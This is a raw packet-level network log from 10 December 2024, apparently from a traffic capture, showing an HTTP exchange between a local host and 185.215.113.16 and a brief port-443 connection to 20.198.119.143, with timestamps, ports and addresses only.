Dec 10, 2024 02:50:30.488172054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.489042044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.489155054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.489200115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.490170002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.490283966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.490330935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.491293907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.491411924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.491451979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.492434978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.492554903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.492599964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.493555069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.493666887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.493722916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.494688034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.494801998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.494843006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.495783091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.495893002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.495935917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.496926069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.497020006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.497060061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.498047113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.498157978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.498202085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.499198914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.499300003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.499377966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.500319004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.500448942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.500490904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.501420021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.501537085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.501584053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.502584934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.502744913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.502787113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.503689051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.503798962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.503839016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.504801035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.504925966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.504980087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.505959034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.506150007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.506190062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.507055044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.507165909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.507205963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.508167982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.508280039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.508323908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.509290934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.509404898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.509448051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.510438919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.510544062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.510653019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.511557102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.511663914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.511708975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.512675047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.512783051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.512826920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.513803005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.513909101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.513948917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.515028000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.515173912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.515213013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.516052961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.516210079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.516259909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.517180920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.517301083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.517335892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.518332958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.518433094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.518476963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.519423962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.519541979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.519584894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.520551920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.520685911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.520725012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.521683931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.521792889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.521843910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.522798061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.522900105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.522941113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.523921013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.524030924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.524076939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.525089025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.525144100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.525182962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.526168108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.526287079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.526329994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.527302980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.527430058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.527537107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.528441906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.528546095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.528589964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.529534101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.529649019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.529692888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.530662060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.530792952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.530831099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.531771898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.531898022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.531939983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.532908916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.533049107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.533097982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.534050941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.534162045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.534204960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.535185099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.535294056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.535336018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.536299944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.536437988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.536480904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.537396908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.537513018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.537550926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.538544893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.538661003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.538772106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.539649010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.539773941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.539814949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.540785074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.540918112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.541852951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.541938066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.542035103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.542289019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.542974949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.588397980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.673521996 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:30.673562050 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:30.674298048 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:30.674854040 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:30.674869061 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:30.677241087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.677400112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.677753925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.677809954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.677922964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.678381920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.678657055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.678668976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.679028988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.679089069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.679116964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.680196047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.680299997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.680349112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.681286097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.681390047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.681438923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.682416916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.682522058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.683548927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.683609962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.683631897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.684668064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.684760094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.684818983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.685801983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.685883999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.686306000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.686892986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.687012911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.688031912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.688076973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.688127995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.689166069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.689218044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.689253092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.690263033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.690278053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.690385103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.691391945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.691435099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.691505909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.692533970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.692653894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.692711115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.693654060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.693762064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.693814993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.694776058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.694875002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.695887089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.695933104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.696006060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.697019100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.697118998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.697173119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.698137045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.698240042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.698295116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.699280024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.699388027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.700391054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.700448036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.700494051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.701549053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.701601028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.701694965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.702265978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.702631950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.702804089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.703747034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.703799963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.703855991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.704920053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.705049992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.705100060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.706006050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.706129074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.706280947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.707127094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.707240105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.708267927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.708327055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.708354950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.708790064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.709371090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.709486961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.710340977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.710509062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.710609913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.711641073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.711687088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.711729050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.712759018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.712882042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.712935925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.713885069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.713994026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.714046955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.714999914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.715131044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.715195894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.716141939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.716234922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.716408968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.717269897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.717381954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.717459917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.718369007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.718493938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.719496012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.719609976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.719656944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.720643997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.720774889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.721765995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.721827030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.721858978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.722325087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.722875118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.722991943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.724189043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.724245071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.724277020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.725136995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.725222111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.725269079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.726275921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.726381063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.726581097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.727371931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.727479935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.728496075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.728550911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.728584051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.729618073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.729659081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.729731083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.730099916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.730755091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.730851889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.731880903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.731942892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.731967926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.733006954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.733097076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.733148098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.734150887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.734253883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.734308958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.735199928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.791614056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.868551970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.868705988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.869014978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.869142056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.869198084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.869790077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.870182037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.870294094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.870366096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.871288061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.871491909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.871546030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.872427940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.872549057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.873532057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.873595953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.873640060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.874408007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.874675989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.874792099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.875813961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.875859976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.875891924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.876929045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.877027988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.877082109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.878022909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.878142118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.878314972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.879168987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.879306078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.880285978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.880336046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:30.880363941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.881539106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:30.881592989 CET	49752	80	192.168.2.6	185.215.113.16
